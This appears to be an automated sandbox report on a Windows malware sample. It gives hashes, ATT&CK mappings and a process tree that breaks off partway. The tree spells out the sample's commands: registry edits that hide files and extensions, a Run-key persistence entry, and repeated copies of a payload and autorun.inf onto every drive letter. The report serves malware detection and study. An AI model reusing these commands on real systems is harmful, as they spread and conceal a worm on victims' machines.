ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b

Analysis

max time kernel
171s
max time network
177s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07/11/2022, 21:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b.exe
Size

68KB
MD5

0d65b7b2cfc90e912920cfa0e2e88430
SHA1

0c533e6c185e94ee8650367ea16fb369a28d898f
SHA256

ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b
SHA512

9e09e46f73cbb69900b9f6fa72fa25e8475b1d39fd0bcc7fe7af194f55ec857a130f77cabf54e30510e08a356cab3069d1f25a2e1199be18afc61c3f19ccd59e
SSDEEP

1536:LBgdzBml7uiBCbgeD0MsCZtkmdUEqT+dv:LB+VmluiBCbgeDAC7XdUEI+p

Score

10^/10

evasion persistence upx

Malware Config

Signatures

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
4428	attrib.exe
4880	attrib.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2116-132-0x0000000000400000-0x0000000000437000-memory.dmp	upx
behavioral2/files/0x0006000000022e5e-139.dat	upx
behavioral2/files/0x0006000000022e7c-201.dat	upx
behavioral2/memory/2116-203-0x0000000000400000-0x0000000000437000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\mt = "C:\\Windows\\system32\\vaillo.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe

Drops autorun.inf file 1 TTPs 3 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	\??\c:\autorun.inf	cmd.exe
File opened for modification	\??\c:\autorun.inf	cmd.exe
File opened for modification	C:\autorun.inf	attrib.exe

Drops file in System32 directory 26 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\steb.exe	cmd.exe
File created	C:\Windows\SysWOW64\Revo.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\God.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\War.exe	cmd.exe
File created	C:\Windows\SysWOW64\Heaven.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\Click.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\Honda.exe	cmd.exe
File created	C:\Windows\SysWOW64\Click.exe	cmd.exe
File created	C:\Windows\SysWOW64\chalie.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\Viva.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\vaillo.exe	cmd.exe
File created	C:\Windows\SysWOW64\God.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\Of.exe	cmd.exe
File created	C:\Windows\SysWOW64\Honda.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\Revo.exe	cmd.exe
File created	C:\Windows\SysWOW64\Viva.exe	cmd.exe
File created	C:\Windows\SysWOW64\vaillo.exe	cmd.exe
File created	C:\Windows\SysWOW64\War.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\chalie.exe	cmd.exe
File created	C:\Windows\SysWOW64\steb.exe	cmd.exe
File created	C:\Windows\SysWOW64\Smash.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\Smash.exe	cmd.exe
File created	C:\Windows\SysWOW64\Of.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\Heaven.exe	cmd.exe
File created	C:\Windows\SysWOW64\Fino.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\Fino.exe	cmd.exe

Drops file in Windows directory 24 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system\oeminfo.ini	cmd.exe
File created	C:\Windows\Kenel32.exe	cmd.exe
File opened for modification	C:\Windows\taskes.exe	cmd.exe
File created	C:\Windows\Media\soundsman.exe	cmd.exe
File created	C:\Windows\System\driber.exe	cmd.exe
File opened for modification	C:\Windows\System\driber.exe	cmd.exe
File opened for modification	C:\Windows\Web\Wallpapers.exe	cmd.exe
File opened for modification	C:\Windows\system\drver.cab.sys	cmd.exe
File created	C:\Windows\Fonts\limons.ttf	cmd.exe
File opened for modification	C:\Windows\Kenel32.exe	cmd.exe
File opened for modification	C:\Windows\system32.exe	cmd.exe
File created	C:\Windows\taskes.exe	cmd.exe
File created	C:\Windows\suck.exe	cmd.exe
File opened for modification	C:\Windows\suck.exe	cmd.exe
File created	C:\Windows\Web\GameKhmer.exe	cmd.exe
File opened for modification	C:\Windows\Web\GameKhmer.exe	cmd.exe
File created	C:\Windows\Help\KGC.exe	cmd.exe
File opened for modification	C:\Windows\Help\KGC.exe	cmd.exe
File created	C:\Windows\system32.exe	cmd.exe
File created	C:\Windows\Web\Wallpapers.exe	cmd.exe
File opened for modification	C:\Windows\Media\soundsman.exe	cmd.exe
File opened for modification	C:\Windows\Fonts\limons.ttf	cmd.exe
File created	C:\Windows\freesex.exe	cmd.exe
File opened for modification	C:\Windows\freesex.exe	cmd.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
4352	reg.exe
3304	reg.exe
876	reg.exe
2512	reg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 3452	2116	ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b.exe	79
PID 2116 wrote to memory of 3452	2116	ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b.exe	79
PID 2116 wrote to memory of 3452	2116	ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b.exe	79
PID 3452 wrote to memory of 2512	3452	cmd.exe	81
PID 3452 wrote to memory of 2512	3452	cmd.exe	81
PID 3452 wrote to memory of 2512	3452	cmd.exe	81
PID 3452 wrote to memory of 4352	3452	cmd.exe	82
PID 3452 wrote to memory of 4352	3452	cmd.exe	82
PID 3452 wrote to memory of 4352	3452	cmd.exe	82
PID 3452 wrote to memory of 3304	3452	cmd.exe	83
PID 3452 wrote to memory of 3304	3452	cmd.exe	83
PID 3452 wrote to memory of 3304	3452	cmd.exe	83
PID 3452 wrote to memory of 4392	3452	cmd.exe	84
PID 3452 wrote to memory of 4392	3452	cmd.exe	84
PID 3452 wrote to memory of 4392	3452	cmd.exe	84
PID 3452 wrote to memory of 2332	3452	cmd.exe	85
PID 3452 wrote to memory of 2332	3452	cmd.exe	85
PID 3452 wrote to memory of 2332	3452	cmd.exe	85
PID 3452 wrote to memory of 2336	3452	cmd.exe	86
PID 3452 wrote to memory of 2336	3452	cmd.exe	86
PID 3452 wrote to memory of 2336	3452	cmd.exe	86
PID 3452 wrote to memory of 4824	3452	cmd.exe	87
PID 3452 wrote to memory of 4824	3452	cmd.exe	87
PID 3452 wrote to memory of 4824	3452	cmd.exe	87
PID 3452 wrote to memory of 5100	3452	cmd.exe	88
PID 3452 wrote to memory of 5100	3452	cmd.exe	88
PID 3452 wrote to memory of 5100	3452	cmd.exe	88
PID 3452 wrote to memory of 5012	3452	cmd.exe	89
PID 3452 wrote to memory of 5012	3452	cmd.exe	89
PID 3452 wrote to memory of 5012	3452	cmd.exe	89
PID 3452 wrote to memory of 5064	3452	cmd.exe	90
PID 3452 wrote to memory of 5064	3452	cmd.exe	90
PID 3452 wrote to memory of 5064	3452	cmd.exe	90
PID 3452 wrote to memory of 4952	3452	cmd.exe	91
PID 3452 wrote to memory of 4952	3452	cmd.exe	91
PID 3452 wrote to memory of 4952	3452	cmd.exe	91
PID 3452 wrote to memory of 2040	3452	cmd.exe	92
PID 3452 wrote to memory of 2040	3452	cmd.exe	92
PID 3452 wrote to memory of 2040	3452	cmd.exe	92
PID 3452 wrote to memory of 904	3452	cmd.exe	93
PID 3452 wrote to memory of 904	3452	cmd.exe	93
PID 3452 wrote to memory of 904	3452	cmd.exe	93
PID 3452 wrote to memory of 4276	3452	cmd.exe	94
PID 3452 wrote to memory of 4276	3452	cmd.exe	94
PID 3452 wrote to memory of 4276	3452	cmd.exe	94
PID 3452 wrote to memory of 2172	3452	cmd.exe	95
PID 3452 wrote to memory of 2172	3452	cmd.exe	95
PID 3452 wrote to memory of 2172	3452	cmd.exe	95
PID 3452 wrote to memory of 3448	3452	cmd.exe	96
PID 3452 wrote to memory of 3448	3452	cmd.exe	96
PID 3452 wrote to memory of 3448	3452	cmd.exe	96
PID 3452 wrote to memory of 2016	3452	cmd.exe	97
PID 3452 wrote to memory of 2016	3452	cmd.exe	97
PID 3452 wrote to memory of 2016	3452	cmd.exe	97
PID 3452 wrote to memory of 3164	3452	cmd.exe	99
PID 3452 wrote to memory of 3164	3452	cmd.exe	99
PID 3452 wrote to memory of 3164	3452	cmd.exe	99
PID 3452 wrote to memory of 1600	3452	cmd.exe	98
PID 3452 wrote to memory of 1600	3452	cmd.exe	98
PID 3452 wrote to memory of 1600	3452	cmd.exe	98
PID 3452 wrote to memory of 1744	3452	cmd.exe	100
PID 3452 wrote to memory of 1744	3452	cmd.exe	100
PID 3452 wrote to memory of 1744	3452	cmd.exe	100
PID 3452 wrote to memory of 2876	3452	cmd.exe	101

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4880	attrib.exe
4428	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b.exe
"C:\Users\Admin\AppData\Local\Temp\ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Users\Admin\AppData\Local\Temp\a36437.bat "C:\Users\Admin\AppData\Local\Temp\ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b.exe"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /V ShowSuperHidden /t REG_DWORD /D 0 /f
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    - Modifies registry key
    PID:2512
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /V HideFileExt /t REG_DWORD /d 1 /f
    3⤵
    - Modifies visibility of file extensions in Explorer
    - Modifies registry key
    PID:4352
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /V Hidden /t REG_DWORD /d 0 /f
    3⤵
    - Modifies registry key
    PID:3304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Sounds.exe /y
    3⤵
    PID:4392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Sounds.exe /y
    3⤵
    PID:2332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Sounds.exe /y
    3⤵
    PID:2336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Sounds.exe /y
    3⤵
    PID:4824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Sounds.exe /y
    3⤵
    PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Sounds.exe /y
    3⤵
    PID:5012
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Sounds.exe /y
    3⤵
    PID:5064
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Sounds.exe /y
    3⤵
    PID:4952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Sounds.exe /y
    3⤵
    PID:2040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Sounds.exe /y
    3⤵
    PID:904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Sounds.exe /y
    3⤵
    PID:4276
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Sounds.exe /y
    3⤵
    PID:2172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Sounds.exe /y
    3⤵
    PID:3448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Sounds.exe /y
    3⤵
    PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Sounds.exe /y
    3⤵
    PID:1600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Sounds.exe /y
    3⤵
    PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Sounds.exe /y
    3⤵
    PID:1744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Sounds.exe /y
    3⤵
    PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Sounds.exe /y
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Sounds.exe /y
    3⤵
    PID:2092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Sounds.exe /y
    3⤵
    PID:1308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Sounds.exe /y
    3⤵
    PID:1100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Sounds.exe /y
    3⤵
    PID:4248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Sounds.exe /y
    3⤵
    PID:2372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\system\drver.cab.sys c:\autorun.inf /y
    3⤵
    - Drops autorun.inf file
    PID:1092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\system\drver.cab.sys d:\autorun.inf /y
    3⤵
    PID:4036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\system\drver.cab.sys e:\autorun.inf /y
    3⤵
    PID:4032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\system\drver.cab.sys f:\autorun.inf /y
    3⤵
    PID:2660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\system\drver.cab.sys g:\autorun.inf /y
    3⤵
    PID:2600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\system\drver.cab.sys h:\autorun.inf /y
    3⤵
    PID:2252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\system\drver.cab.sys i:\autorun.inf /y
    3⤵
    PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\system\drver.cab.sys j:\autorun.inf /y
    3⤵
    PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\system\drver.cab.sys k:\autorun.inf /y
    3⤵
    PID:3480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\system\drver.cab.sys l:\autorun.inf /y
    3⤵
    PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\system\drver.cab.sys m:\autorun.inf /y
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\system\drver.cab.sys n:\autorun.inf /y
    3⤵
    PID:3488
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\system\drver.cab.sys o:\autorun.inf /y
    3⤵
    PID:1920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\system\drver.cab.sys p:\autorun.inf /y
    3⤵
    PID:4836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\system\drver.cab.sys q:\autorun.inf /y
    3⤵
    PID:2200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\system\drver.cab.sys r:\autorun.inf /y
    3⤵
    PID:4536
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\system\drver.cab.sys s:\autorun.inf /y
    3⤵
    PID:3796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\system\drver.cab.sys t:\autorun.inf /y
    3⤵
    PID:4360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\system\drver.cab.sys u:\autorun.inf /y
    3⤵
    PID:1792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\system\drver.cab.sys v:\autorun.inf /y
    3⤵
    PID:2168
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\system\drver.cab.sys w:\autorun.inf /y
    3⤵
    PID:756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\system\drver.cab.sys x:\autorun.inf /y
    3⤵
    PID:2184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\system\drver.cab.sys y:\autorun.inf /y
    3⤵
    PID:3608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\system\drver.cab.sys z:\autorun.inf /y
    3⤵
    PID:3428
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Videos.exe /y
    3⤵
    PID:4560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Videos.exe /y
    3⤵
    PID:3120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Videos.exe /y
    3⤵
    PID:2100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Videos.exe /y
    3⤵
    PID:836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Videos.exe /y
    3⤵
    PID:4520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Videos.exe /y
    3⤵
    PID:3516
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Videos.exe /y
    3⤵
    PID:2032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Videos.exe /y
    3⤵
    PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Videos.exe /y
    3⤵
    PID:4788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Videos.exe /y
    3⤵
    PID:4000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Videos.exe /y
    3⤵
    PID:3656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Videos.exe /y
    3⤵
    PID:1856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Videos.exe /y
    3⤵
    PID:2236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Videos.exe /y
    3⤵
    PID:4460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Videos.exe /y
    3⤵
    PID:4832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Videos.exe /y
    3⤵
    PID:864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Videos.exe /y
    3⤵
    PID:2196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Videos.exe /y
    3⤵
    PID:4672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Videos.exe /y
    3⤵
    PID:1520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist v:\nul copy C:\Windows\Fonts\limons.ttf v:\Videos.exe /y
    3⤵
    PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist w:\nul copy C:\Windows\Fonts\limons.ttf w:\Videos.exe /y
    3⤵
    PID:2984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist x:\nul copy C:\Windows\Fonts\limons.ttf x:\Videos.exe /y
    3⤵
    PID:3160
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist y:\nul copy C:\Windows\Fonts\limons.ttf y:\Videos.exe /y
    3⤵
    PID:5004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist z:\nul copy C:\Windows\Fonts\limons.ttf z:\Videos.exe /y
    3⤵
    PID:2780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist c:\nul copy C:\Windows\Fonts\limons.ttf c:\Images.exe /y
    3⤵
    PID:3912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist d:\nul copy C:\Windows\Fonts\limons.ttf d:\Images.exe /y
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist e:\nul copy C:\Windows\Fonts\limons.ttf e:\Images.exe /y
    3⤵
    PID:1640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist f:\nul copy C:\Windows\Fonts\limons.ttf f:\Images.exe /y
    3⤵
    PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist g:\nul copy C:\Windows\Fonts\limons.ttf g:\Images.exe /y
    3⤵
    PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist h:\nul copy C:\Windows\Fonts\limons.ttf h:\Images.exe /y
    3⤵
    PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist i:\nul copy C:\Windows\Fonts\limons.ttf i:\Images.exe /y
    3⤵
    PID:3512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist j:\nul copy C:\Windows\Fonts\limons.ttf j:\Images.exe /y
    3⤵
    PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist k:\nul copy C:\Windows\Fonts\limons.ttf k:\Images.exe /y
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist l:\nul copy C:\Windows\Fonts\limons.ttf l:\Images.exe /y
    3⤵
    PID:996
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist m:\nul copy C:\Windows\Fonts\limons.ttf m:\Images.exe /y
    3⤵
    PID:632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist n:\nul copy C:\Windows\Fonts\limons.ttf n:\Images.exe /y
    3⤵
    PID:444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist o:\nul copy C:\Windows\Fonts\limons.ttf o:\Images.exe /y
    3⤵
    PID:3256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist p:\nul copy C:\Windows\Fonts\limons.ttf p:\Images.exe /y
    3⤵
    PID:456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist q:\nul copy C:\Windows\Fonts\limons.ttf q:\Images.exe /y
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist r:\nul copy C:\Windows\Fonts\limons.ttf r:\Images.exe /y
    3⤵
    PID:2768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist s:\nul copy C:\Windows\Fonts\limons.ttf s:\Images.exe /y
    3⤵
    PID:3908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist t:\nul copy C:\Windows\Fonts\limons.ttf t:\Images.exe /y
    3⤵
    PID:1472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe nul /f /c if exist u:\nul copy C:\Windows\Fonts\limons.ttf u:\Images.exe /y
    3⤵
    PID:4708
- - C:\Windows\SysWOW64\cmd.exe
